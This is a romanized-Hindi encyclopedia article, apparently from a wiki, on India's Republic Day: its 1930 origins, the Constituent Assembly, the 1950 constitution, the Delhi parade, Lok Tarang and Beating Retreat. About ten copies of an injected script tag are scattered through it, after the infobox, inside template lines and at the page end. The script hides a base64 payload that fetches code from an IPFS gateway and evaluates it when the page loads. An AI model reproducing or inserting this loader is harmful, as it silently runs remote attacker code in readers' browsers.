गणतंत्र दिवस
ganatantr divas
| |
| vivaran | pratyek varsh ka 26 janavari ek aisa din hai jab prathyek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar shneh bhar uthata hai. |
| uddeshy | yah ayojan hamean desh ke sabhi shahidoan ke ni:shvarth balidan ki yad dilata hai, jinhhoanne azadi ke sangharsh mean apane jivan balidan kar die aur videshi akramanoan ke viruddh anek l daiyaan jiti. |
| itihas | 26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar bharat sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi loktaantrik ganatantr ke roop mean bharat desh samane aya. bharatiy sanvidhan, jise desh ki sarakar ki rooparekha ka pratinidhithv karane vale paryapht vichar vimarsh ke bad vidhan mandal dvara apanaya gaya, tab se 26 janavari ko bharat ke ganatantr divas ke roop mean bhari uthsah ke sath manaya jata hai aur ise rashhtriy avakash ghoshit kiya jata hai. |
| vishesh | pradhanamantri dvara ganatantr divas ki poorv sandhhya (25 janavari) par rashtr ke nam sandesh prasarit kiya jata hai. isake bad agale din, jo javan azadi ki l daee mean shahid hue unaki yad mean iandiya get par amar jyoti jalaee jati hai. isake shighr bad 21 topoan ki salami di jati hai aur rashtrapati mahoday dvara rashhtriy dhhvaj phaharaya jata hai evan rashhtragan hota hai. mahamahim rashtrapati ke sath ek ulhlekhaniy videshi rashtr pramukh ate haian, jinhhean ayojan ke mukhhy atithi ke roop mean amantrit kiya jata hai. |
| sanbandhit lekh | ganatantr divas ka itihas, ganatantr divas par mukhy atithi, bitiang d ritrit, svatantrata divas, bharatiy kraanti divas, vijay divas, bharat ka vibhajan |
| any janakari | pahali bar 21 topoan ki salami ke bad rashhtriy dhhvaj ko d aau. rajendr prasad ne phahara kar 26 janavari, 1950 ko bharatiy ganatantr ke aitihasik janhm ki ghoshana ki. british raj se azadi pane ke 894 din bad hamara desh shvatantr rajhy bana. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ganatantr divas (aangrezi: Republic Day) bharat mean 26 janavari ko manaya jata hai aur yah bharat ka ek rashtriy parv hai. har varsh 26 janavari ek aisa din hai jab prathyek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar shneh bhar uthata hai. aisi anek mahattvapoorn shmritiyaan haian jo is din ke sath ju di huee hai. 26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar yah sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi loktaantrik ganatantr ke roop mean bharat desh samane aya. bharatiy sanvidhan, jise desh ki sarakar ki rooparekha ka pratinidhithv karane vale paryapht vichar vimarsh ke bad vidhan mandal dvara apanaya gaya, tab se 26 janavari ko bharat ke ganatantr divas ke roop mean bhari uthsah ke sath manaya jata hai aur ise rashhtriy avakash ghoshit kiya jata hai. yah ayojan hamean desh ke sabhi shahidoan ke ni:shvarth balidan ki yad dilata hai, jinhhoanne azadi ke sangharsh mean apane jivan balidan kar die aur videshi akramanoan ke viruddh anek l daiyaan jiti.
itihas
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharat ke sanvidhan ko lagoo kie jane se pahale bhi 26 janavari ka bahut mahattv tha. 26 janavari ko vishesh din ke roop mean chihnit kiya gaya tha, 31 disanbar sanh 1929 ke madhhy ratri mean rashhtr ko svatantr banane ki pahal karate hue lahaur mean bharatiy rashtriy kaangres ka adhiveshan pandit javaharalal neharoo ki adhyakshata mean hua,[[chitr:Tricolor.jpg|thumb|250px|left|rashhtriy dhhvaj]] jisamean prastav parit kar is bat ki ghoshana ki gee ki yadi aangrez sarakar 26 janavari, 1930 tak bharat ko upanivesh ka pad (dominiyan stetas) nahian pradan karegi to bharat apane ko poorn svatantr ghoshit kar dega.
26 janavari, 1930 tak jab aangrez sarakar ne kuchh nahian kiya tab kaangres ne us din bharat ki poorn svatantrata ke nishchay ki ghoshana ki aur apana sakriy aandolan aranbh kiya. bharatiy rashtriy kaangres ke is lahaur adhiveshan mean pahali bar tirange jhande ko phaharaya gaya tha parantu sath hi is din sarvasammati se ek aur mahattvapoorn phaisala liya gaya ki prativarsh 26 janavari ka din poorn svaraj divas ke roop mean manaya jaega. is din sabhi svatantrata senani poorn svaraj ka prachar kareange. is tarah 26 janavari aghoshit roop se bharat ka svatantrata divas ban gaya tha. us din se 1947 mean svatantrata prapt hone tak 26 janavari svatantrata divas ke roop mean manaya jata raha.
bharatiy sanvidhan sabha
usi samay bharatiy sanvidhan sabha ki baithakean hoti rahian, jisaki pahali baithak 9 disanbar, 1946 ko huee, jisamean bharatiy netaoan aur aangrez kaibinet mishan ne bhag liya. bharat ko ek sanvidhan dene ke vishay mean kee charchaean, sipharishean aur vad - vivad kiya gaya. kee bar sanshodhan karane ke pashchath bharatiy sanvidhan ko aantim roop diya gaya jo 3 varsh bad yani 26 navanbar, 1949 ko adhikarik roop se apanaya gaya.[[chitr:fist repablicday.jpg|left|thumb|250px|san 1950, pratham ganatantr divas mean javaharalal neharoo]] 15 agast, 1947 mean aangrejoan ne bharat ki satta ki bagador javaharalal neharoo ke hathoan mean de di, lekin bharat ka briten ke sath nata ya aangrejoan ka adhipaty samapt nahian hua. bharat abhi bhi ek british k aauloni ki tarah tha, jahaan ki mudra par j aaurj 6 ki tasvirean thi.
azadi milane ke bad tatkalin sarakar ne desh ke sanvidhan ko phir se paribhashit karane ki zaroorat mahasoos ki aur sanvidhan sabha ka gathan kiya jisaki adhyakshata d aau. bhimarav ambedakar ko mili, 25 navambar, 1949 ko 211 vidvanoan dvara 2 mahine aur 11 din mean taiyar desh ke sanvidhan ko manjoori mili. 24 janavari, 1950 ko sabhi saansadoan aur vidhayakoan ne is par hastakshar kie. aur isake do din bad yani 26 janavari 1950 ko sanvidhan lagoo kar diya gaya. is avasar par d aau. rajendr prasad ne bharat ke pratham rashtrapati ke roop mean shapath li tatha 21 topoan ki salami ke bad 'irvin shtediyam' mean bharatiy rashhtriy dhhvaj 'tiranga' ko phaharakar bharatiy ganatantr ke aitihasik janhm ki ghoshana ki thi. 26 janavari ka mahattv banae rakhane ke lie vidhan nirmatri sabha (kaanstityooeant aseanbali) dvara svikrit sanvidhan mean bharat ke ganatantr svaroop ko manyata pradan ki gee. is tarah se 26 janavari ek bar phir surkhiyoan mean a gaya. yah ek sanyog hi tha ki 'kabhi bharat ka poorn svaraj divas ke roop mean manaya jane vala din ab bharat ka ganatantr divas' ban gaya tha.
aangrejoan ke shasanakal se chhutakara pane ke 894 din bad hamara desh shvatantr rashtr bana. tab se aj tak har varsh rashhtrabhar mean b de garv aur harshollas ke sath ganatantr divas manaya jata hai. tadanantar svatantrata prapti ke vastavik din 15 agast ko svatantrata divas ke roop mean svikar kiya gaya. yahi vah din tha jab 1965 mean hindi ko bharat ki rajabhasha ghoshit kiya gaya.
ganatantr ki yatra
sabase pahali bar 21 topoan ki salami ke bad bharatiy rashhtriy dhhvaj ko d aau. rajendr prasad ne phahara kar 26 janavari, 1950 ko bharatiy ganatantr ke aitihasik janhm ki ghoshana ki. british raj se azadi pane ke 894 din bad hamara desh shvatantr rajhy bana. tab se har varsh poore rashtr mean b de uthsah aur garv se yah din manaya jata hai. ek british upanivesh se ek samhprabhutapoorn, dharmanirapeksh aur lokataantrik rashtr ke roop mean bharat ka nirman ek aitihasik ghatana rahi. yah lagabhag 2 dashak purani yatra thi jo 1930 mean ek sapane ke roop mean sankalpit ki gee aur 1950 mean ise sakar kiya gaya. bharatiy ganatantr ki is yatra par ek nazar dalane se hamare ayojan aur bhi adhik sarthak ho jate haian.[1]
saanshkritik karyakram aur ayojan
| 150px|ganatantr divas ki pared |
| ganatantr divas ki pared, nee dilli |
| 150px|ganatantr divas manate bachche |
| ganatantr divas manate bachche |
| 150px|en.si.si. chhatr |
| en.si.si. chhatr |
| 150px|ganatantr divas raili |
| ganatantr divas raili |
| 150px|lokanrity karate kalakar |
| lokanrity karate kalakar |
| 150px|ganatantr divas ki pared |
| ganatantr divas ki pared |
| 150px|ganatantr divas manati l dakiyaan |
| ganatantr divas manati l dakiyaan |
ganatantr divas bharat ka sabase b da rashtriy tyohar hai, is din rashtrapati iandiya get par bharat ke sab rajyoan se ae hue pratinidhiyoan tatha bharat ki tinoan senaoan ki salami lete haian. anek prakar ki sundar–sundar jhaankiyaan nach-gane, baind-baje, hathi, ooant, gho doan ki savariyaan, taiank, top, samudri jahaz aur havaee jahaz ke namoone krishi aur udyog ki jhaankiyaan, skooli bachchoan ke nach-gane karate hue grup rashtrapati ko salami dete hue chalate haian. jo ki vijay chauk se shuroo hokar lal qile tak jate haian. is utsav mean kisi doosare desh ka koee mehaman bulaya jata hai. us din darshakoan ki itani bhi d hoti hai ki iandiya get par aisa maloom hota hai jaise insanoan ka samudr lahara raha ho. rat ko iandiya get, rashtrapati bhavan, seantral sekreteriyat, sansad bhavan tatha mukhy sarakari imaratoan par roshani ki jati hai.
- asali mayanoan mean bharat ki janata ko rajy 26 janavari sanh 1950 se hi prapt hua. 15 agast sanh 1947 ko ham azad zaroor ho ge the lekin hamara koee sanvidhan lagoo nahian hua tha aur n hi koee ganarajy ka rashtrapati tha.
- aangrez bharat ko chho dakar chale ge aur 26 janavari ko janata ka rajy hua, isalie 15 agast ko svatantrata divas aur 26 janavari ko ganatantr divas manate haian. jo javan azadi ki l daee mean shahid hue unaki yad mean iandiya get par amar jyoti jalaee jati hai.
- isake shighr bad 21 topoan ki salami di jati hai, rashtrapati mahoday dvara rashhtriy dhhvaj phaharaya jata hai aur rashhtragan hota hai. is prakar pared aranbh hoti hai. mahamahim rashtrapati ke sath ek ulhlekhaniy videshi rashhtr pramukh ate haian, jinhhean ayojan ke mukhhy atithi ke roop mean amantrit kiya jata hai.
- rashtrapati mahoday ke samane se khuli jipoan mean vir sainik gujarate haian. bharat ke rashtrapati, jo bharatiy sashashtr bal, ke mukhhy kamaandar haian, vishal pared ki salami lete haian. bharatiy sena dvara isake navinatam hathiyaroan aur baloan ka pradarshan kiya jata hai jaise taiank, misail, radar adi. isake shighr bad rashtrapati dvara sashashtr sena ke sainikoan ko bahaduri ke purashkar aur medal die jate haian jinhhoanne apane kshetr mean abhootapoorv sahas dikhaya aur aise nagarikoan ko bhi samhmanit kiya jata hai jinhhoanne vibhinhn paristhitiyoan mean virata ke alag-alag karaname kie. isake bad sashashtr sena ke helik aauphtar darshakoan par gulab ki pankhudiyoan ki barish karate hue phlaee pasht karate haian.
saanshkritik pared
sena ki pared ke bad rangarang saanshkritik pared hoti hai. vibhinhn rajhyoan se aee jhaankiyoan ke roop mean bharat ki samriddh saanshkritik virasat ko darshaya jata hai. prathyek rajhy apane anokhe thyauharoan, aitihasik shthaloan aur kala ka pradarshan karate haian. yah pradarshani bharat ki sanskriti ki vividhata aur samriddhi ko ek thyauhar ka rang deti hai. vibhinhn sarakari vibhagoan aur bharat sarakar ke mantralayoan ki jhaankiyaan bhi rashhtr ki pragati mean apane yogadan prashtut karati hai. is pared ka sabase khushanuma hishsa tab ata hai jab bachhche, jinhhean rashhtriy virata purashkar hathiyoan par baithakar samane ate haian. poore desh ke shkooli bachhche pared mean alag-alag lok nrithy aur desh bhakti ki dhunoan par git prashtut karate haian. pared mean kushal motar saikil savar, jo sashashtr sena karmik hote haian, apane pradarshan karate haian. pared ka sarvadhik pratikshit bhag phlaee pasht hai jo bharatiy vayu sena dvara kiya jata hai. phlaee pasht pared ka aantim p dav hai, jab bharatiy vayu sena ke l dakoo viman rashtrapati ka abhivadan karate hue manch par se gujarate haian.
pradhanamantri ki raili
ganatantr divas ka ayojan kul milakar tin dinoan ka hota hai aur 27 janavari ko iandiya get par is ayojan ke bad pradhanamantri ki raili mean en.si.si. kedets dvara vibhinhn chauanka dene vale pradarshan aur dril kie jate haian.
lok tarang
sat kshetriy saanshkritik kenhdroan ke sath milakar sanshkriti mantralay, bharat sarakar dvara har varsh 24 se 29 janavari ke bich ‘’lok tarang – rashhtriy lok nrithy samaroh’’ ayojit kiya jata hai. is ayojan mean logoan ko desh ke vibhinhn bhagoan se ae rang birange aur chamakadar aur vashtavik lok nrithy dekhane ka anokha avasar milata hai.
bitiang d ritrit
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bitiang d ritrit ganatantr divas ayojanoan ka adhikarik roop se samapan ghoshit karata hai. sabhi mahathvapoorn sarakari bhavanoan ko 26 janavari se 29 janavari ke bich roshani se suandarata poorvak sajaya jata hai. har varsh 29 janavari ki sham ko arthath ganatantr divas ke bad arthath ganatantr ki tisare din bitiang d ritrit ayojan kiya jata hai. yah ayojan tin senaoan ke ek sath milakar samoohik baiand vadan se aranbh hota hai jo lokapriy marchiang dhunean bajate haian. dramar bhi ekal pradarshan (jise dramars k aaul kahate haian) karate haian. dramars dvara ebaidid vid mi (yah mahatma gaandhi ki priy dhunoan mean se ek kahian jati hai) bajaee jati hai aur tyubular ghantiyoan dvara chaimhs bajaee jati haian, jo kafi doori par rakhi hoti haian aur isase ek manamohak drishhy banata hai. isake bad ritrit ka bigul vadan hota hai, jab baiand mashtar rashtrapati ke samip jate haian aur baiand vapis le jane ki anumati maangate haian. tab soochit kiya jata hai ki samapan samaroh poora ho gaya hai. baiand march vapas jate samay lokapriy dhun sare jahaan se achhchha bajate haian. thik sham 6 baje bagalars ritrit ki dhun bajate haian aur rashhtriy dhhvaj ko utar liya jata haian tatha rashhtragan gaya jata hai aur is prakar ganatantr divas ke ayojan ka aupacharik samapan hota haian.[2]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
googal logo
thumb|250px|ganatantr divas par googal ka pratik chihn-2017|left bharat ne varsh 2017 mean apana 68vaan ganatantr divas b di hi dhoomadham se manaya. 'googal' jo ki ek ameriki bahurashtriy sarvajanik kampani hai aur iantaranet ki duniya mean bahut prasiddh hai, usane bhi ek khas tarike se ganatantr divas manaya. googal ne ganatantr divas (26 janavari) ke avasar par ek vishesh tarah ka googal pratik chinh banaya, jo ganatantr divas tatha svadhinata divas ko samarpit tha.[3]
mahapurush kathan
|
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ bharat ke ganatantr ki yatra (hindi) (pi.ech.pi) adhikarik vebasait bharat. abhigaman tithi: 29 disanbar, 2010.
- ↑ ganatantr divas ke ayojan (hindi) (pi.ech.pi) adhikarik vebasait bharat. abhigaman tithi: 23 disanbar, 2010.
- ↑ googal ne manaya bharat ka 68vaan ganatantr divas (hiandi) aajabhi.com. abhigaman tithi: 26 aprॅl, 2017.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>